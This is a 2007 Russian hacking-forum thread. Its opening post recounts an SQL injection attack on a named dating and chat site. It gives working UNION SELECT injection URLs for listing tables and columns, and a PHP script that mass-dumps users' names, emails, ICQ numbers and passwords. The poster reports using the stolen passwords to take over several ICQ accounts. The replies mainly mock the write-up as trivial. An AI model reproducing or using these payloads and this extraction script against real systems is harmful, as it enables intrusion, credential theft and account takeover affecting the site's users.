ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

История одного хака
  #1  
Старый 04.08.2007, 11:14
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


Отправить сообщение для Joker-jar с помощью ICQ
По умолчанию История одного хака

Искал информацию о человеке - обладателе аськи, столь нужной мне. Нашел даже сайт, на котором он её получил в подарок: snegorod.com. Решил покопаться на сайте, нашел SQL-inj:

http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,9,10, 11/*&minrat=0&numofpage=13

Хмм, для начала неплохо. Постучался в information_schema, повезло

Начал искать интересные таблицы:

http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,table _name,10,11+from+information_schema.tables+limit+i,1/*&minrat=0&numofpage=13

где i = 0,1,2 ...

Из интересного нашлось:

admins
userinfo
users


Далее узнал, в каких базах данных находятся данные таблицы:

http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,table _schema,10,11+from+information_schema.tables+where +table_name='имя таблицы'/*&minrat=0&numofpage=13

(отмечу, что на сервере не экранировались кавычки, что придавало еще более комфортные условия )

В итоге я имел:

dating.admins
chat.userinfo
dating.users


Ну что ж, самое время узнать, что за поля прячутся в этих аппетитных табличках:

http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,colum n_name,10,11+from+information_schema.columns+where +table_name='имя таблицы'+limit+i,1/*&minrat=0&numofpage=13

где i = 0,1,2 ...

Через несколько минут, немного поработав пальчиками, в окне копии блокнота накопилась следующая инфа:

---------------------------------

dating.admins ->

ID
NICK
PASS
RANG
EMAIL
LASTLOGIN
IDUA

---------------------------------

chat.userinfo ->

id
name
realname
email
age
city
country
url
stuff
photo_url
icq_uin

---------------------------------

dating.users ->

ID
NICK
MPASS
PASS
DATEREG
LASTLOGIN
LASTACT
ACTIVE
HIDE
VIEWS
NGOL
SGOL
IPREG
COMMENT
golopen

---------------------------------


Скажу сразу, что инфа, до которой я так упорно подкапывался, оказалась бесполезной. Ну и ладно , можно ведь вытащить базу юзеров и почекать аси/мыла. Как видно из структур таблиц, вся интересная инфа лежит в chat.userinfo (email, icq_uin), а пароль в dating.users. Ну и что?

http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,conca t(chat.userinfo.name,';',chat.userinfo.email,';',c hat.userinfo.icq_uin,';',dating.users.MPASS,';',da ting.users.PASS),10,11+from+chat.userinfo+inner+jo in+dating.users+on+chat.userinfo.name=dating.users .NICK+limit+i,1/*&minrat=0&numofpage=13

где i = 0,1,2 ...

Но вытаскивать записи по одной очень долго и нудно, поэтому я решил написать небольшой скрипт на PHP, который бы это делал за меня. Для начала, результат вывода инъекции я обрамил тэгом <1310></1310> (незнаю, почему этот, просто так захотелось), чтоб потом можно было этот самый результат найти среди груы HTML-мусора.

PHP код:
<?
  
if (!isset($_GET['start']) || !isset($_GET['end']) || $_GET['start'] > $_GET['end'])
    exit;
    
  
$start $_GET['start'];
  
$end $_GET['end'];
  
  
$f fopen('base.txt','a');

  for (
$i $start$i <= $end$i++)
    {
      
$s file_get_contents("http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,concat(char(0x3c,0x31,0x33,0x31,0x30,0x3e),chat.userinfo.name,';',chat.userinfo.email,';',chat.userinfo.icq_uin,';',dating.users.MPASS,';',dating.users.PASS,char(0x3c,0x2f,0x31,0x33,0x31,0x30,0x3e)),10,11+from+chat.userinfo+inner+join+dating.users+on+chat.userinfo.name=dating.users.NICK+and+chat.userinfo.icq_uin>0+limit+$i,1/*&minrat=0&numofpage=13");
      
preg_match("/<1310>(.*)<\/1310>/",$s$s2);
      
fwrite($ficonv("UTF-8""CP1251"$s2[1]."\n"));
      
    }
  
fclose($f);
?>
Добавив условие chat.userinfo.icq_uin>0 прогнал скрипт, для начала, на параметрах ?start=0&end=100. Нашлось с десяток кривых девяток, к которым пароль сайта подходил. Мыла не проверял... Ну вот, собсна, и все. Удачного хака!
 
Ответить с цитированием

  #2  
Старый 04.08.2007, 11:27
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

Цитата:
Постучался в information_schema, повезло
по твоим словам кажется что доступ к инф. схеме зависит от везения.. ))
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием

  #3  
Старый 04.08.2007, 22:24
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Цитата:
Постучался в information_schema, повезло
Не видно где ты узнавал версию. Мне кажется что ты не рубишь по поводу базы information_schema
бр+1
 
Ответить с цитированием

  #4  
Старый 04.08.2007, 22:28
Constantine
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
Провел на форуме:
7192869

Репутация: 3033


По умолчанию

На самом деле да, похоже чувак не знает что information_schema на 5 ветке =)))
Последний запрос выглядит очень красиво и супербесполезно! =)
А так улыбнуло
__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
 
Ответить с цитированием

  #5  
Старый 04.08.2007, 22:28
iv.
Moderator - Level 7
Регистрация: 21.03.2007
Сообщений: 1,200
Провел на форуме:
7134052

Репутация: 1204


По умолчанию

Обычная sql inj. Зачем отдельная тема?
сп+1
 
Ответить с цитированием

  #6  
Старый 05.08.2007, 05:12
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


Отправить сообщение для Joker-jar с помощью ICQ
По умолчанию

Цитата:
похоже чувак не знает что information_schema на 5 ветке
Да знаю вроде, просто писатель никакой из меня

Цитата:
Обычная sql inj. Зачем отдельная тема?
Для новичков, практический пример. В совокупности с теорией, которой достаточно на форуме, должно дать неплохое представление о sql-inj.

З.Ы, Всякие мелочи типа определение версии, подбора количества полей и т.д. в описании опустил (слишком банально).
 
Ответить с цитированием

  #7  
Старый 05.08.2007, 15:55
Zitt
Познавший АНТИЧАТ
Регистрация: 07.05.2006
Сообщений: 1,031
Провел на форуме:
5885100

Репутация: 773


Отправить сообщение для Zitt с помощью ICQ
По умолчанию

Joker-jar. тебя не понять..
сначала гриш что для новичкоф а потом говоришь что упустил детали... Новички не поймут =)))
Цитата:
В совокупности с теорией, которой достаточно на форуме,
А практике мало?
 
Ответить с цитированием

  #8  
Старый 05.08.2007, 22:36
Termin@L
Участник форума
Регистрация: 07.12.2006
Сообщений: 192
Провел на форуме:
492591

Репутация: 123
По умолчанию

Цитата:
З.Ы, Всякие мелочи типа определение версии, подбора количества полей и т.д. в описании опустил (слишком банально).
Ну раз уж на то пошло, так вся статья - банальна... Новички ничего не поймут это факт, а тем кто рубит это не интересно, таких историй почти каждый античатовец может рассказать вагон и мпленькую тележку
 
Ответить с цитированием

  #9  
Старый 05.08.2007, 22:58
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408

Репутация: 861


По умолчанию

Моё имхо, что новичкам как раз не надо всё разжевывать, а надо давать пищу для размышлений, а если новичек хочет научица, он погуглит, выучит пару языков, ну даже если не языков, то хотябы ту базу, которая нужна для того, что его интересует. А если всё раскладывать по полочкам, то он так и будет думать прямолинейно. Чтобы научица хаку надо научица думать не по шаблону.
 
Ответить с цитированием

  #10  
Старый 05.08.2007, 23:03
KPOT_f!nd
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
Провел на форуме:
3405508

Репутация: 1745


По умолчанию

давайте все будем писать свой хеки ресурсов???
iv. +1. Многие так делаю в поисках скули, если им нравить сайт(или БД ценная) начинаю копать дальше! брд
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
История одного взлома... p-range Авторские статьи 8 07.04.2007 15:05
История одного взлома. Добыча маленьких хакерских радостей. 1ten0.0net1 Авторские статьи 10 23.10.2006 03:22
ТЕМА ДЛЯ ХАКА! davatel E-Mail 8 14.02.2006 08:43



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ